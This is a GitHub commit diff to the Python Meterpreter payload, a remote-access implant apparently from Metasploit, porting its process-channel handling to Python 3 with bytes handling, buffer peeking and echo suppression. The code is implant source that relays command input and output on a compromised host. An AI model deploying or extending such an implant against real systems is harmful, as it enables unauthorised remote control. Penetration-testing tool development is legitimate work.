Skip to content

Commit 4f5ab2c

Browse files
committed
Pymeterpreter support process channels for Python v3
1 parent e2cc2fe commit 4f5ab2c

File tree

2 files changed

+35
-15
lines changed

2 files changed

+35
-15
lines changed

data/meterpreter/ext_server_stdapi.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -702,6 +702,7 @@ def stdapi_sys_process_execute(request, response):
702702
proc_h.stderr = open(os.devnull, 'rb')
703703
else:
704704
proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
705+
proc_h.echo_protection = True
705706
proc_h.start()
706707
else:
707708
proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
@@ -1207,7 +1208,7 @@ def stdapi_net_config_get_interfaces_via_windll_mib():
12071208
table_data = ctypes.string_at(table, pdwSize.value)
12081209
entries = struct.unpack('I', table_data[:4])[0]
12091210
table_data = table_data[4:]
1210-
for i in xrange(entries):
1211+
for i in range(entries):
12111212
addrrow = cstruct_unpack(MIB_IPADDRROW, table_data)
12121213
ifrow = MIB_IFROW()
12131214
ifrow.dwIndex = addrrow.dwIndex

data/meterpreter/meterpreter.py

Lines changed: 33 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
import subprocess
99
import sys
1010
import threading
11+
import time
1112
import traceback
1213

1314
try:
@@ -120,7 +121,7 @@ def export(symbol):
120121

121122
def generate_request_id():
122123
chars = 'abcdefghijklmnopqrstuvwxyz'
123-
return ''.join(random.choice(chars) for x in xrange(32))
124+
return ''.join(random.choice(chars) for x in range(32))
124125

125126
@export
126127
def inet_pton(family, address):
@@ -223,40 +224,58 @@ def __init__(self, std, is_alive):
223224
threading.Thread.__init__(self)
224225
self.std = std
225226
self.is_alive = is_alive
226-
self.data = ''
227+
self.data = bytes()
227228
self.data_lock = threading.RLock()
228229

229230
def run(self):
230-
for byte in iter(lambda: self.std.read(1), ''):
231+
for byte in iter(lambda: self.std.read(1), bytes()):
231232
self.data_lock.acquire()
232233
self.data += byte
233234
self.data_lock.release()
234235

235236
def is_read_ready(self):
236237
return len(self.data) != 0
237238

238-
def read(self, l = None):
239-
data = ''
239+
def peek(self, l = None):
240+
data = bytes()
240241
self.data_lock.acquire()
241242
if l == None:
242243
data = self.data
243-
self.data = ''
244244
else:
245245
data = self.data[0:l]
246-
self.data = self.data[l:]
246+
self.data_lock.release()
247+
return data
248+
249+
def read(self, l = None):
250+
self.data_lock.acquire()
251+
data = self.peek(l)
252+
self.data = self.data[len(data):]
247253
self.data_lock.release()
248254
return data
249255

250256
#@export
251257
class STDProcess(subprocess.Popen):
252258
def __init__(self, *args, **kwargs):
253259
subprocess.Popen.__init__(self, *args, **kwargs)
260+
self.echo_protection = False
254261

255262
def start(self):
256263
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
257264
self.stdout_reader.start()
258265
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
259266
self.stderr_reader.start()
267+
268+
def write(self, channel_data):
269+
self.stdin.write(channel_data)
270+
self.stdin.flush()
271+
if self.echo_protection:
272+
end_time = time.time() + 0.5
273+
out_data = bytes()
274+
while (time.time() < end_time) and (out_data != channel_data):
275+
if self.stdout_reader.is_read_ready():
276+
out_data = self.stdout_reader.peek(len(channel_data))
277+
if out_data == channel_data:
278+
self.stdout_reader.read(len(channel_data))
260279
export(STDProcess)
261280

262281
class PythonMeterpreter(object):
@@ -310,25 +329,25 @@ def run(self):
310329
else:
311330
channels_for_removal = []
312331
# iterate over the keys because self.channels could be modified if one is closed
313-
channel_ids = self.channels.keys()
332+
channel_ids = list(self.channels.keys())
314333
for channel_id in channel_ids:
315334
channel = self.channels[channel_id]
316-
data = ''
335+
data = bytes()
317336
if isinstance(channel, STDProcess):
318337
if not channel_id in self.interact_channels:
319338
continue
320-
if channel.stdout_reader.is_read_ready():
321-
data = channel.stdout_reader.read()
322-
elif channel.stderr_reader.is_read_ready():
339+
if channel.stderr_reader.is_read_ready():
323340
data = channel.stderr_reader.read()
341+
elif channel.stdout_reader.is_read_ready():
342+
data = channel.stdout_reader.read()
324343
elif channel.poll() != None:
325344
self.handle_dead_resource_channel(channel_id)
326345
elif isinstance(channel, MeterpreterSocketClient):
327346
while len(select.select([channel.fileno()], [], [], 0)[0]):
328347
try:
329348
d = channel.recv(1)
330349
except socket.error:
331-
d = ''
350+
d = bytes()
332351
if len(d) == 0:
333352
self.handle_dead_resource_channel(channel_id)
334353
break
@@ -474,7 +493,7 @@ def _core_channel_write(self, request, response):
474493
if channel.poll() != None:
475494
self.handle_dead_resource_channel(channel_id)
476495
return ERROR_FAILURE, response
477-
channel.stdin.write(channel_data)
496+
channel.write(channel_data)
478497
elif isinstance(channel, MeterpreterFile):
479498
channel.write(channel_data)
480499
elif isinstance(channel, MeterpreterSocket):

0 commit comments

Comments
 (0)